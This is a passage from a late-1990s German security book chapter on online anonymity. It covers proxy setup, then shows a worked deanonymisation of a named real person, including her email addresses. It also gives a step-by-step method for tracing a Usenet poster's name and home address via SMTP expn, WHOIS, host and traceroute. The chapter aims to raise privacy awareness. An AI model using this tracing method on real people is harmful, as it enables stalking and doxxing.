solche personalisierten Web-Dienste zu nutzen), hat Lucent LPWA entwickelt. LPWA stellt einen Proxy-Dienst für
Ihren gesamten Internet-Verkehr zur Verfügung, so daß die einzige IP-Adresse, die aufgezeichnet werden kann, die
bei lpwa.com ist. Ihre Privatsphäre bleibt geschützt: Web-Server können weder an Ihre IP-Adresse gelangen noch
Cookies auf Ihre Festplatte schreiben.
29.4.2 Verwendung des Lucent Personalized Web Assistant
Sie können LPWA mit jedem Browser verwenden, der Proxy-Gateways unterstützt. Dazu sind nur drei einfache
Schritte erforderlich. Sie müssen:
Ihren Browser so konfigurieren, daß er lpwa.com als Proxy verwendet
Sich mit lpwa.com verbinden
Einloggen
Lassen Sie uns diese Schritte einmal praktisch nachvollziehen.
Konfiguration des Netscape Communicator für den LPWA-Proxy
Wenn Sie den Netscape Communicator verwenden, wählen Sie Bearbeiten, Einstellungen, Erweitert, Proxies. Sie
sehen dann das in Abb. 29.2 gezeigte Fenster.
Abbildung 29.2: Das Dialogfenster für die Proxy-Konfiguration von Netscape
Klicken Sie auf Manuelle Proxy-Konfiguration und dann auf Anzeigen. Das bringt Sie zum Dialogfenster Manuelle
Proxy-Konfiguration, das in Abb. 29.3 dargestellt ist.
Anonymität wahren
file:///d|/cool stuff/old/hack/kap29.htm (13 von 24) [19.04.2000 21:15:49]
Abbildung 29.3: Das Dialogfenster Manuelle Proxy-Konfiguration von Netscape
Geben Sie in dem Feld HTTP den Text lpwa.com ein. (Das ist die Adresse des Lucent Personalized Web Assistant.)
Geben Sie im Feld Port den Wert 8000 ein. Schließen Sie den Netscape Communicator und starten Sie die
Anwendung neu.
Konfiguration des Microsoft Internet Explorer für den LPWA-Proxy
Wenn Sie den Microsoft Internet Explorer verwenden, wählen Sie Ansicht, Internetoptionen...,Verbindung. Das
bringt Sie zu dem in Abb. 29.4 gezeigten Fenster.
Abbildung 29.4: Das Dialogfenster Internetoptionen des
MSIE mit Register Verbindung
Klicken Sie dort das Kästchen Verbindung über einen Proxy-Server herstellen an und wählen Sie Erweitert. Dann
sehen Sie das Fenster, das in Abb. 29.5 dargestellt ist.
Abbildung 29.5: Das Dialogfenster Proxy-Einstellungen des
Microsoft Internet Explorer
Geben Sie im Feld HTTP den Text lpwa.com als Adresse des Proxy-Servers ein (das ist die Adresse des Lucent
Personalized Web Assistant). Geben Sie im Feld Anschluß den Wert 8000 ein. Schließen Sie den Microsoft Internet
Explorer und starten Sie die Anwendung neu.
Einloggen beim Lucent Personalized Web Assistant
Wenn Ihr Browser neu startet, werden Sie bemerken, daß er nun zu lpwa.com geht (und nicht zu Ihrer üblichen
Startseite). Sie sehen die in Abb. 29.6 gezeigte Seite.
Abbildung 29.6: Startseite des Lucent Personalized Web Assistant
Dort geben Sie Ihre E-Mail-Adresse und ein Paßwort ein. LPWA wird Sie bitten, diese Informationen noch einmal
zu bestätigen.
Nachdem Sie Ihre E-Mail-Adresse und Ihr Paßwort noch einmal bestätigt haben, werden Sie authentifiziert. Von
diesem Augenblick an surfen Sie sicher und anonym. Das verblüffendste ist, daß Sie sich trotzdem bei Webseiten
registrieren können. LPWA speichert die Informationen für Sie. (Auf der Homepage von LPWA unter
http://lpwa.com/ können Sie mehr darüber erfahren.)
Anonymität wahren
file:///d|/cool stuff/old/hack/kap29.htm (14 von 24) [19.04.2000 21:15:49]
Leider hat diese Art der Anonymität ihren Preis - Sie müssen Geschwindigkeitseinbußen hinnehmen. Da LPWA
Ihre Sitzungen über einen Proxy laufen läßt, dauert jede Verbindung ein bis zwei Sekunden länger. (Das bemerken
Sie kaum, wenn Sie eine schnelle Verbindung wie z.B. über eine T1-Leitung haben. Bei 28.8 Mbps könnte es
jedoch störend sein. Wenn Sie zehn Seiten tief in eine Site gehen, werden Sie ca. 3-5 Sekunden verlieren.) Dennoch
scheint mir dieser Preis für die Gewißheit der Anonymität nicht zu hoch zu sein. Seien Sie sich auch darüber im
klaren, daß Lucent dazu in der Lage ist, Ihre Bewegungen nachzuvollziehen.
29.4.3 Ihre E-Mail-Adresse und das Usenet
Ich habe weiter vorne in diesem Kapitel behauptet, daß Ihre E-Mail-Adresse im Usenet dazu verwendet werden
kann, Sie auszuspionieren. In diesem Abschnitt möchte ich Ihnen die Beweise für diese Behauptung liefern.
Ihre E-Mail-Adresse ist wie jede andere Zeichenfolge. Wenn sie auf (oder im Quelltext) einer Webseite auftaucht,
kann sie von Suchmaschinen aufgespürt werden. Sobald ein Spion Ihre E- Mail-Adresse hat, ist schon alles
verloren. Das Schlimmste ist vielleicht, daß Ihre E-Mail- Adresse und Ihr Name (wenn man sie erst einmal
zusammengebracht hat) andere Accounts von Ihnen preisgeben können.
Um Ihnen ein praktisches Beispiel geben zu können, habe ich über ein mögliches Ziel nachgedacht. Ich wollte
jemanden nehmen, der seine E-Mail-Adressen häufig wechselt und routinemäßig andere Personen als Fronts
verwendet. Fronts sind Dritte, die Informationen für Sie posten. (Durch die Verwendung von Fronts vermeiden Sie,
daß man Sie aufspürt, da immer nur deren E-Mail-Adresse auftaucht und nicht Ihre eigene.)
Das Ziel, das ich mir ausgesucht habe, ist umstritten. In diesem Beispiel werden wir Linda Thompson
ausspionieren, eine prominente amerikanische Rechtsanwältin. Ms. Thompson wird für ihr Rückgrat gefeiert, daß
sie bei den Ereignissen bewies, die sich in Waco, Texas, am 19. April 1993 zutrugen. An diesem Tag, nach 51
Tagen Belagerung, versuchten Einheiten des FBI, mehrere Mitglieder der Davidianer-Sekte zu verhaften. Es kam zu
einem Waffengefecht und daraufhin zu einem Brand. Als alles vorbei war, waren 100 Leute entweder tot oder
schwer verletzt. Ms. Thompson äußerte sich besonders offen über die Angelegenheit und nutzt das Internet oft als
Sprachrohr für ihre Bedenken. Darüber hinaus ist Ms. Thompson eine langjährige Anhängerin der amerikanischen
Bürgermilizen (Militias).
Hinweis:
Die folgende Übung ist keine Verletzung der Privatsphäre von Ms. Thompson. Alle Informationen
stammen aus öffentlich verfügbaren Datenbanken im Internet. Diese Übung ähnelt den Ergebnissen
eines Artikels, der im Juni 1997 im Time Magazine über die Privatsphäre im Internet erschienen ist. In
diesem Artikel nahm sich ein Reporter die kalifornische Senatorin Dianne Feinstein vor. Der Reporter
leistete großartige Arbeit und fand sogar die Sozialversicherungsnummer von Feinstein heraus. Der
Artikel, »My Week as an Internet Gumshoe«, stammt von Noah Robischon. Sie finden ihn hier:
http://www.pathfinder.com/time/magazine/1997/dom/970602/technology.my_wek.html.
Der erste Schritt beim Ausspionieren einer Person besteht darin, ihre E-Mail-Adressen herauszufinden. Dazu reicht
eine normale Suchmaschine aus, allerdings bieten altavista.digital.com und www.dejanews.com die flexibelsten
Suchoptionen. Dort habe ich auch mit meiner Suche begonnen. (Ich hatte Ms. Thompson noch nie getroffen und
wußte sehr wenig über sie.)
Ich begann mit http://altavista.digital.com/. Die Startseite sehen Sie in Abb. 29.8:
Abbildung 29.7: Startseite von altavista.digital.com
Anonymität wahren
file:///d|/cool stuff/old/hack/kap29.htm (15 von 24) [19.04.2000 21:15:49]
Altavista ist eine der leistungsfähigsten Suchmaschinen im Internet und wird als öffentlich zugänglicher Dienst von
der Digital Equipment Corporation (DEC) zur Verfügung gestellt. Altavista akzeptiert verschiedene Arten von
Abfragen, die sich auf WWW-Seiten (HTML) oder Usenet-Beiträge beziehen können. (Die Usenet-Beiträge werden
auch archiviert, aber laut DEC werden diese Beiträge nur wenige Wochen aufbewahrt.)
Ich wählte Altavista aus folgendem Grund: Es führt eine Groß-/Kleinschreibung beachtende, auf exakte
Übereinstimmung ausgerichtete Suche nach regulären Ausdrücken durch. Das heißt, es wird genau den Ausdruck
finden, nach dem Sie gesucht haben. (Mit anderen Worten gibt es keine »ungefähre« Übereinstimmung, wenn Sie
eine Suche durchführen. Diese Eigenschaft ermöglicht es Ihnen, die Ergebnisse Ihrer Suche von Millionen Seiten
auf eine einzige Seite einzugrenzen.)
Um eine derartig präzise Suche zu erzwingen, müssen Sie die gesuchte Zeichenfolge in Anführungsstriche setzen.
Ich begann meine Suche mit dieser Zeichenfolge:
"Linda Thompson"
Altavista fand 2.049 Dokumente. Von den ersten neun waren dies die interessantesten:
Ein offener Brief von einem Verteidiger in der Waco-Angelegenheit.
Ein Brief von Thompson an einen Bundesanwalt.
In dem Brief an den Bundesanwalt ist Thompsons Adresse aufgeführt, aber noch wichtiger war, daß ich dort an eine
erste E-Mail-Adresse von ihr gelangte. Diese E-Mail-Adresse war lindat@snowhill.com. Mit dieser Adresse
bewaffnet, startete ich eine neue Suche. Dieses Mal verwendete ich die E-Mail-Adresse von Ms. Thompson als
Suchausdruck im Usenet. Ich erhielt nur ein Ergebnis, eine Nachricht in der Newsgruppe
misc.activism.militia.
Da mich dieses Ergebnis nicht zufriedenstellte, suchte ich noch einmal im Usenet, diesmal nach dem Namen von
Ms. Thompson. Das ergab 248 Treffer. Einer von ihnen enthüllte eine andere E-Mail-Adresse:
lindat@megacity.org. Außerdem gab die Nachricht noch ein paar weitere Dinge preis:
Der Beitragende diente als Front für Ms. Thompson und hatte versehentlich ihre private E-Mail-Adresse
eingefügt und diese somit der ganzen Welt verfügbar gemacht.
Ms. Thompson verwendete Windows Eudora in der Version 2.0.3.
Ms. Thompson verwendete aen.org als Ausgangsbasis.
Ich versuchte es bei aen.org, mußte aber feststellen, daß der Server gerade nicht in Betrieb war. Also machte ich
damit weiter, die Usenet-Beiträge zu durchforsten, die Ms. Thompsons Namen enthielten. Schließlich fand ich Ms.
Thompsons wirkliche Ausgangsbasis, eine Mailbox, die sie betreibt, und ein paar sehr persönliche Informationen.
Diese Informationen beinhalteten die Namen (und in manchen Fällen die Adressen) von Leuten, mit denen sie über
das Internet zusammenarbeitet. In weniger als 3 Minuten hatte ich, unter Verwendung von Ms. Thompson als
Ausgangspunkt, 12 Mitglieder oder Anhänger der Militia identifiziert.
Das sieht auf den ersten Blick vielleicht nicht allzu interessant aus. Sie denken wahrscheinlich »Na und?«. Führen
Sie sich noch einmal vor Augen, was ich zu Beginn dieses Kapitels geschrieben habe. Vor zwanzig Jahren hätte das
FBI Tausende Dollar ausgegeben (und ein Dutzend Abhöranlagen installieren müssen), um an dieselben
Informationen zu gelangen.
Das Usenet ist ein ausgezeichnetes Tool zum Aufbau menschlicher Netzwerke von Gleichgesinnten. Wenn Sie
jedoch umstrittene oder unpopuläre Ansichten haben, sollten Sie diese auf keinen Fall im Usenet posten.
Sie können zwar darum bitten, zu verhindern, daß Ihre Usenet-Beiträge archiviert werden, indem Sie in die erste
Zeile Ihres Beitrags x-no-archive: yes einfügen. Sie können aber nichts dagegen tun, daß andere Ihren Beitrag
kopieren und ihn auf einem Web-Server ablegen. Wenn Sie unpopuläre politische Ansichten im Usenet
Anonymität wahren
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veröffentlichen (und Gleichgesinnte veranlassen, Ihnen zu antworten), offenbaren Sie dadurch der ganzen Welt Ihre
Verbindungen zueinander. Wenn Ihre Beiträge archiviert werden, stehen sie für alle Ewigkeit zur Einsicht zur
Verfügung, dank den Leuten von http://www.dejanews.com/.
29.4.4 DejaNews
Die DejaNews-Suchmaschine ist darauf spezialisiert, das Usenet zu durchsuchen. Das DejaNews -Archiv reicht bis
zum März 1995 zurück, und man bemüht sich bei DejaNews ständig darum, Lücken zu schließen und noch ältere
Artikel in die Datenbank aufzunehmen. Laut DejaNews wird daran gearbeitet, alle seit 1979 geposteten Beiträge zur
Verfügung stellen zu können.
DejaNews verfügt über erweiterte Indizierungsmöglichkeiten. Sie können z.B. automatisch ein Profil des Verfassers
eines Usenet-Artikels erstellen lassen. (D.h. die Suchmaschine liefert eine Aufstellung der Newsgruppen, in denen
der Verfasser in der letzten Zeit gepostet hat.) Auf diese Weise können andere Ihre Interessen leicht herausfinden.
Schlimmer noch - sie können sogar Sie selbst aufspüren.
Erinnern Sie sich daran, daß, auch wenn Ihr wirklicher Name nicht in Ihren Usenet-Beiträgen zu finden ist, er in der
Datei /etc/passwd auf dem Unix-Server auftaucht, den Sie als Gateway zum Internet verwenden. Um Sie zu finden,
sind die folgenden Schritte erforderlich:
Der Schnüffler sieht Ihre Beiträge zum Usenet. Ihre E-Mail-Adresse ist darin enthalten, aber nicht Ihr Name.
Der Schnüffler versucht, Ihre Adresse zu fingern, aber Ihr Provider hat finger-Anfragen untersagt.
Der Schnüffler verbindet sich per Telnet mit Port 25 Ihres Servers. Dort führt er den Befehl expn aus und
erhält so Ihren wirklichen Namen.
Mit diesen Informationen in der Hand muß der Spion als nächstes herausfinden, wo Sie wohnen. Dazu bedient er
sich des WHOIS-Service.
Hinweis:
In der deutschsprachigen de.*-Hierarchie des Usenet werden Sie sich in der Regel viele Feinde
machen, wenn Sie unter Pseudonym posten. Hier geht man davon aus, daß Sie mit Ihrem Namen zu dem
stehen, was Sie schreiben, oder bei Dingen, die Ihre Privatsphäre verletzen einen echten anonymen
Remailer benutzen sollen.
29.4.5 Der WHOIS-Service
Der WHOIS-Service (der sich bei rs.internic.net befindet) enthält Domain-Registrierungsdaten aller
amerikanischen nicht militärischen Internet-Sites. Diese Registrierungsdatenbank enthält detaillierte Informationen
zu jeder Internet-Site, einschließlich Domain-Namen, Server-Adressen, technischer Kontaktperson, Telefonnummer
und Adresse. Hier ist das Ergebnis einer WHOIS-Abfrage über den Provider Netcom, einen bekannten ISP in
Nordkalifornien:
NETCOM On-Line Communication Services, Inc (NETCOM-DOM)
3031 Tisch Way, Lobby Level
San Jose, California 95128
US
Domain Name: NETCOM.COM
Administrative Contact:
NETCOM Network Management (NETCOM-NM) dns-mgr@NETCOM.COM
(408) 983-5970
Technical Contact, Zone Contact:
NETCOM DNS Administration (NETCOM-DNS) dns-tech@NETCOM.COM
Anonymität wahren
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(408) 983-5970
Record last updated on 03-Jan-97.
Record created on 01-Feb-91.
Domain servers in listed order:
NETCOMSV.NETCOM.COM 192.100.81.101
NS.NETCOM.COM 192.100.81.105
AS3.NETCOM.COM 199.183.9.4
Sehen Sie sich diese Informationen einmal genau an. Man kann ihnen entnehmen, daß Netcom in Kalifornien sitzt.
(Das sehen Sie ganz oben in der Ausgabe und an den Telefonnummern der einzelnen technischen
Kontaktpersonen.)
Mit diesen Informationen versehen, kann der Spion bei http://www.worldpages.com/ weitermachen. WorldPages ist
eine umfangreiche Datenbank, in der die Namen, E-Mail-Adressen und Telefonnummern mehrerer Millionen
Internet-Nutzer gespeichert sind. In Abb. 29.8 sehen Sie die Startseite von WorldPages.
Abbildung 29.8: Startseite von WorldPages
Bei WorldPages verwendet der Spion Ihren wirklichen Namen als Suchausdruck und gibt Kalifornien als Staat ein.
Er erhält umgehend einige Treffer, die Namen, Adressen und Telefonnummern enthalten. Hier könnte er
Schwierigkeiten bekommen, je nachdem, wie häufig Ihr Name ist. Wenn Sie z.B. John Smith heißen, wird er noch
weitere Nachforschungen anstellen müssen. Angenommen, Ihr Name ist nicht ganz so verbreitet, und der Spion
erhält drei Adressen: eine in Sacramento, eine in Los Angeles und eine in San Diego. Wie kann er nun
herausfinden, welches Ihre Adresse ist? Dazu bedient er sich des Host-Utilities.
Das Host-Utility (das ich kurz in Kapitel 10, »Scanner«, beschrieben habe), listet alle Rechner eines bestimmten
Netzwerks auf sowie ihre relative Lage. Bei großen Netzwerken ist es üblich, daß der Provider über ein größeres
Gebiet verteilte Rechner besitzt. Mit dem Befehl host kann man feststellen, welche Workstation sich an welchem
Ort befindet. Mit anderen Worten, es ist im allgemeinen eine triviale Aufgabe, eine nach Städten gegliederte
Auflistung von Workstations zu erhalten. Diese Workstations sind manchmal sogar nach den Städten benannt, in
denen sie sich befinden. Deshalb wäre es durchaus möglich, daß Sie einen Eintrag wie den folgenden sehen:
chatsworth1.target_provider.com
Chatsworth ist eine Stadt in Südkalifornien. Wir können also vermuten, daß chatsworth1.target_provider.com sich
in Chatsworth befindet. Jetzt muß der Schnüffler nur Ihren Usenet-Beitrag noch einmal unter die Lupe nehmen.
Wenn er den Quellcode Ihres Usenet-Beitrags untersucht, kann er sehen, welchen Pfad die Nachricht genommen
hat. Der Pfad wird etwa wie folgt aussehen:
news2.cais.com!in1.nntp.cais.net!feed1.news.erols.com!howland.erols.net!
Âix.netcom.com!news
Durch Untersuchung dieses Pfads kann der Spion feststellen, welcher Server benutzt wurde, um diesen Artikel zu
posten. Diese Informationen werden dann mit dem Wert für den NNTP-Posting-Host kombiniert:
grc-ny4-20.ix.netcom.com
Der Schnüffler extrahiert den Namen des postenden Servers (der erste Eintrag im Pfad). Dieser wird fast immer mit
seinem Namen und nicht der IP-Adresse angegeben. Deshalb besteht die nächste Aufgabe darin, die IP-Adresse
herauszufinden. Der Spion verbindet sich also über Telnet mit dem postenden Host. Wenn die Telnet-Sitzung
Anonymität wahren
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initiiert wird, wird die numerische IP vom DNS abgefragt und an stdout ausgegeben. Der Schnüffler hat nun die IP-
Adresse des Rechners, der das ursprüngliche Posting akzeptiert hat. Diese IP-Adresse wird dann mit der
Ausgabedatei der host-Abfrage abgeglichen. Auf diese Weise kann man den Standort eines Rechners herausfinden.
Hinweis:
Wenn diese Informationen nicht genau übereinstimmen, kann der Schnüffler noch andere Methoden
verwenden. Eine ist die Ausgabe einer traceroute- Anforderung. Wenn man die Route zu einem Rechner
verfolgt, der sich in einer anderen Stadt befindet, muß sie unweigerlich bestimmte Gateways passieren.
Dies sind die Haupt-Schaltstellen, durch die der gesamte Verkehr läuft, der in eine Stadt oder aus ihr
heraus geht. Normalerweise sind dies von Telekommunikationsunternehmen betriebene Knotenpunkte.
Die meisten enthalten Städtenamen in ihren Adressen. In Amerika sind Washington D.C. und Boston
zwei bekannte Punkte, in Deutschland etwa Frankfurt, Karlsruhe und München. D.h., auch wenn das
Abgleichen der IP-Adresse mit der host- Ausgabe kein Ergebnis bringt, kann man mit Hilfe von
traceroute wenigstens den ungefähren Standort des Rechners herausfinden.
Mit diesen Informationen kann der Spion feststellen, welcher der gefundenen Namen Ihrer ist und zu WorldPages
zurückkehren. Dort wählt er Ihren Namen aus und erhält innerhalb von Sekunden eine Karte Ihrer Nachbarschaft.
Der genaue Standpunkt Ihres Wohnsitzes ist auf der Karte eingekreist. Der Schnüffler weiß nun genau, wo Sie leben
und wie er dort hinkommen kann. Nun kann er beginnen, weitere Informationen über Sie zu sammeln.
Viele Personen spielen die Bedeutung dieser Informationen herunter. Sie argumentieren damit, daß all diese
Informationen ohnehin anderweitig verfügbar seien. Das Problem liegt darin, daß das Internet diese
Informationsquellen zusammenführt. Dadurch wird ein massenhaftes Ausspionieren möglich, und damit beginnt der
Ärger.
Als Randbemerkung möchte ich noch anfügen, daß die komplette Wahrung der Anonymität zwar möglich ist, aber
nicht vor dem Gesetz. Wenn sie genug Zeit haben, könnten Behörden eine Nachricht auch zurückverfolgen, obwohl
sie über einen anonymen Remailer gepostet worden ist. (Das dürfte allerdings sehr schwierig werden, wenn die
Nachricht über mehrere Remailer weitergeleitet wurde.) Das Problem liegt in der Struktur des Internet selbst. Ralf
Hauser und Gene Tsudik schreiben in ihrem Artikel »On Shopping Incognito«:
Von Anfang an war das Wesen der aktuellen Netzwerkprotokolle und -anwendungen so ausgelegt, daß
es der Wahrung der Privatsphäre zuwiderläuft. Die überwiegende Mehrzahl hat eines gemeinsam: Sie
übermitteln Endpunkt-Identifizierungsinformationen. Mit »Endpunkt« kann in diesem Zusammenhang
ein Benutzer (mit einer einzigartigen ID), eine Netzwerkadresse oder ein Unternehmensname gemeint
sein. Zum Beispiel übermittelt E-Mail routinemäßig die Absenderadresse im Header. Datentransfer
(z.B. FTP), entfernte Logins (z.B. Telnet) und Hypertext-Browser (z.B. WWW) geben Adressen,
Hostnamen und IDs ihrer Benutzer preis.
Es wird immer wieder die Frage gestellt, ob Benutzer überhaupt ein Recht auf Anonymität haben. Ich meine schon.
Es gibt eine Menge legitimer Gründe dafür, warum Anonymität im Internet erlaubt sein sollte. Der folgende
Abschnitt ist ein Auszug aus »Anonymity for Fun and Deception: The Other Side of 'Community'« von Richard
Seltzer:
Einige Gemeinschaften erfordern eine Wahrung der Anonymität, da ihre Mitglieder sonst nicht
teilnehmen würden. Das ist z.B. bei den Anonymen Alkoholikern, AIDS-, Drogen- und anderen
Selbsthilfe-Organisationen der Fall, besonders, wenn das Risiko besteht, von der Gesellschaft
verstoßen zu werden oder sogar rechtliche Konsequenzen tragen zu müssen, wenn die Identität der
Mitglieder bekannt wird.
Dieses Thema taucht in der erhitzten Debatte über Anonymität im Internet, die derzeit geführt wird, immer wieder
auf. Sogar viele »Etablierte« erkennen an, daß Anonymität ein wichtiges Element ist, das die Redefreiheit im
Anonymität wahren
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Internet bewahren kann. Auch in juristischen Kreisen wurde diesem Thema viel Aufmerksamkeit gewidmet. Ein
ausgezeichnetes Dokument stammt von A. Michael Froomkin, einem Rechtsanwalt und bekannten Professor. In
»Anonymity and Its Enmities« schreibt Froomkin:
Für Personen, die eine repressive Regierung kritisieren oder eine Revolution gegen diese anfachen
wollen, sind Remailer von unschätzbarem Wert. Mit der Möglichkeit der weitreichenden Verbreitung
von Nachrichten über das Internet wird anonyme E- Mail zum modernen Ersatz für anonyme
Flugblätter. Andere Beispiele sind Leute, die Unternehmen, eine religiöse Sekte oder eine andere
Bewegung kritisieren, von der sie Vergeltungsmaßnahmen befürchten. Und Leute, die in einem
öffentlichen Forum Fragen über sehr persönliche Dinge stellen, die sie dort nicht diskutieren würden,
wenn man die Nachricht auf ihren Verfasser zurückverfolgen könnte.
Wegweiser:
»Anonymity and Its Enmities« von Professor Froomkin ist eine ausgezeichnete Quelle für Links zu
juristischen Analysen der Anonymität im Internet. Besonders für Journalisten ist dieses Dokument eine
gute Informationsquelle. Sie finden es unter http://warthog.cc.wm.edu/law/publications/jol/
froomkin.html.
Nicht jeder ist allerdings der Meinung, daß Anonymität im Internet eine gute Sache ist. Einige Menschen glauben,
daß dies höchstens auf anarchistische Zustände hinauslaufen könnte. Ein ziemlich ironisches Zitat - wenn man in
Betracht zieht, von wem es stammt - findet sich in »Computer Anarchy: A Plea for Internet Laws to Protect the
Innocent« von Martha Seigel:
Die Menschen brauchen im Cyberspace das gleiche Maß an Sicherheit und Ordnung wie in ihren
Häusern und auf der Straße. Der gegenwärtige Zustand im Internet zeigt mehr als deutlich, daß eine
allgemeine Anarchie nicht funktioniert. Wenn die Regierungen keine Möglichkeit finden, Ordnung in
das stetig wachsende und sich verändernde Internet zu bringen, wird schon bald das pure Chaos
herrschen.
Vielleicht wissen Sie schon, warum dieses Zitat so unglaublich ironisch ist. Die Autorin, Martha Seigel, ist auf dem
Gebiet der »Computer-Anarchie« keine Unbekannte. Zu ihrer Zeit wurde sie auf der schwarzen Liste des Internet
(Internet Blacklist) geführt, weil sie die Netzwerkrichtlinien gegen den Massenversand von Nachrichten
(Spamming) im Usenet verletzt hatte. Das folgende ist ein Auszug aus dieser schwarzen Liste, der sich auf Cantor &
Seigel, die Anwaltskanzlei von Ms. Seigel, bezieht:
Die berühmten Greencard-Anwälte haben 1994 wiederholt Nachrichten in fast allen
Usenet-Newsgruppen gepostet, in denen sie ihre Dienste anboten. Diese bestanden darin, Personen zu
helfen, in die Greencard-Verlosung der USA zu kommen. (Nebenbei bemerkt: Sie verlangten für diesen
Dienst 100 Dollar, obwohl die Teilnahme an der Greencard-Lotterie umsonst ist und man dazu nichts
weiter tun muß, als zur richtigen Zeit einen Brief mit seinen persönlichen Daten an den richtigen Ort
zu senden.) Als die ankommenden Mail-Bomben ihren Zugangsprovider zwangen, ihnen ihren Account
zu kündigen, drohten sie, ihn zu verklagen, bis er schließlich einlenkte und zusagte, alle Antworten an
sie weiterzuleiten.
Wegweiser:
Die »Internet Blacklist« finden Sie im Web unter http://www.cco.caltech.edu/~cbrown/BL/ .
Das ist jedoch alles Theorie. Je mehr wir uns in Richtung der bargeldlosen Gesellschaft bewegen, desto wichtiger
wird die Forderung nach Anonymität. Die Sammler von persönlichen Informationen im Internet sollten sich also
beeilen. Die Analyse von Verbrauchergewohnheiten wird aller Wahrscheinlichkeit nach eines Tages der
Vergangenheit angehören, zumindest in bezug auf das Internet. Die Mehrheit der elektronischen Zahlungssysteme,
Anonymität wahren
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die derzeit entwickelt werden (oder schon verfügbar sind), beruhen auf der Anonymität.
Wegweiser:
Dan Fandrich, ein bekannter Programmierer und Computer-Enthusiast in British Columbia, hat eine
umfassende Liste solcher Systeme zusammengestellt. Sie finden sie unter
http://www.npsnet.com/danf/emoney-anon.html. Einige der von Fandrich aufgeführten Systeme sind:
· DigiCash
· CAFÉ
· CyberCash
· NetBank/NetCash
· First Virtual
Fandrich spricht ein paar wichtige Dinge an. Einige Systeme behaupten zwar, »totale« Anonymität zu bieten, tun
dies in Wirklichkeit aber nicht. Fandrich hat z.B. beobachtet, daß viele Systeme die Aktivitäten protokollieren.
Deshalb sind diese »anonymen« Transaktionen in Wirklichkeit gar nicht anonym - und das bringt uns zu meiner
Schlußbemerkung, die ich in diesem Buch machen möchte.
29.4.6 Eine Warnung
Die modernen Technologien verändern unsere Gesellschaft zusehends, und die persönliche Privatsphäre geht bei
diesem Prozeß immer mehr verloren. Das Internet trägt mit dazu bei.
Schon heute verwenden Banken biometrische Systeme zur Identifizierung von Kunden. Das ist ein gruseliger
Prozeß. Um Ihr Geld abheben zu können, müssen Sie Ihre Netzhaut oder Ihren Daumen von einem Scanner erfassen
lassen, der Sie authentifiziert. Diese Technologien werden bereits für PCs vermarktet, und die Anpreisungen der
Verkäufer klingen verlokkend. Oder haben Sie es vielleicht nicht satt, daß Sie jedesmal ein Paßwort eingeben
müssen, wenn Sie Ihren Rechner starten oder sich ins Netzwerk einloggen wollen?
Bald wird die biometrische Authentifizierung auch im E-Commerce Einzug halten. Bevor Sie dieses Buch zur Seite
legen, möchte ich Sie bitten, sich einmal vorzustellen, welches Klima in einem Jahrzehnt herrschen wird. Jeder
Benutzer wird eine einzigartige, digitale ID besitzen, die auf einem verschlüsselten Wert beruht. Dieser Wert wird
eine 32-Bit- oder 64- Bit-Zahl sein, die von den physischen Merkmalen Ihres Gesichts oder Ihrer rechten Hand
abgeleitet ist. Ohne diese Zahl werden Sie nicht in der Lage sein, etwas zu kaufen oder zu verkaufen. Wenn diese
Zeit gekommen ist, erinnern Sie sich daran, daß Sie hier zum ersten Mal etwas darüber gelesen haben.
Zu guter Letzt möchte ich Ihnen noch einige gute Quellen zur Privatsphäre im Internet nennen:
Privacy & Anonymity on the Internet FAQ
Autor: L. Detweiler
Inhalt: Viele Informationsquellen zur Privatsphäre und Anonymität im Internet; ein Muß für Benutzer, die sich
erstmals mit dem Thema der Identifizierung im Internet auseinandersetzen.
URL: http://www.prz.tu-berlin.de/~derek/internet/sources/privacy.faq.02.html
Anonymous Remailer FAQ
Autor: Andre Bacard
Anonymität wahren
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Inhalt: Eine nicht zu technische Beschreibung anonymer Remailer, wie sie funktionieren und wo man sie finden
kann.
URL: http://www.well.com/user/abacard/remail.html
Anmerkung: Bacard ist ebenfalls der Autor von Computer Privacy Handbook (»The Scariest Computer Book of the
Year«).
The Anonymous Remailer List
Autor: Raph Levien
Inhalt: Liste von Adressen anonymer Remailer im Internet.
URL: http://www.cs.berkeley.edu/~raph/remailer-list.html
How-To Chain Remailers
Autor: Alex de Joode
Inhalt: Ein sachliches Tutorial dazu, wie man Remailer verkettet und auf diese Weise eine absolut anonyme
Nachricht verschickt.
URL: http://www.replay.com/remailer/chain.html
Privacy on the Internet
Autoren: David M. Goldschlag, Michael G. Reed und Paul F. Syverson: Naval Research Laboratory Center For
High Assurance Computer Systems
Inhalt: Ein guter Leitfaden, der alle in diesem Kapitel besprochenen Aspekte abdeckt.
URL: http://www.itd.nrl.navy.mil/ITD/5540/projects/onion-routing/inet97/index.htm
Anonymous Connections and Onion Routing
Autoren: David M. Goldschlag, Michael G. Reed und Paul F. Syverson: Naval Research Laboratory Center For
High Assurance Computer Systems; PostScript; Presented in the Proceedings of the Symposium on Security and
Privacy in Oakland, CA, Mai 1997
Inhalt: Eine recht detaillierte Analyse von anonymen Verbindungen und der Abwehr von Rückverfolgung und
Verkehrsanalysen (behandelt auch die Schwachstellen solcher Systeme, eine Pflichtlektüre).
URL: http://www.itd.nrl.navy.mil/ITD/5540/projects/onion-routing/OAKLAND_97.ps
Special Report: Privacy in the Digital Age
Autor: Susan Stellin
Inhalt: CNET-Artikel, der Informationsquellen zur Privatsphäre im Internet enthält.
URL: http://www.cnet.com/Content/Features/Dlife/Privacy/
The Electronic Frontier Foundation
Anonymität wahren
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Autor: unbekannt
Inhalt: Umfassende Quellen zur Privatsphäre im elektronischen Zeitalter.
URL: http://www.eff.org/
The Electronic Privacy Information Center (EPIC)
Autor: unbekannt
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Computer Professionals for Social Responsibility - CPSR
Autor: unbekannt
Inhalt: Eine Gruppe, die ethische Fragen im Zusammenhang mit der Benutzung von Computern diskutiert.
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The Anonymizer
Autor: unbekannt
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den Sites, die Sie aufsuchen. Im wesentlichen ist dies ein etwas komplexerer Proxy-Dienst. Er ermöglicht auch
Verkettungen, und Ihre IP wird aus den Protokollen der Sites gestrichen.
URL: http://www.anonymizer.com/
Artikel und Vorträge
On Shopping Incognito. R. Hauser und G. Tsudik. Second USENIX Workshop on Electronic Commerce,
November 1996. http://www.isi.edu/~gts/paps/hats96.ps.gz.
The Anonymous E-mail Conversation. Ceki Gulcu. Technical Report, Eurecom Institute. Juni 1995.
Control of Information Distribution and Access. Ralf C. Hauser. Technical Report, Department of Computer
Science, University of Zurich. September 1995.
Internet Privacy Enhanced Mail. Stephen T. Kent. Communications of the ACM, Vol. 36 No. 8. August 1993.
Certified Electronic Mail. Alireza Bahreman, J. D. Tygar. 1994. ftp://ftp.cert.dfn.de/ pub/pem/docs/CEM.ps.gz.
E-Mail Security. Dr. John A. Line. UKERNA Computer Security Workshop, 15./16. November 1994.
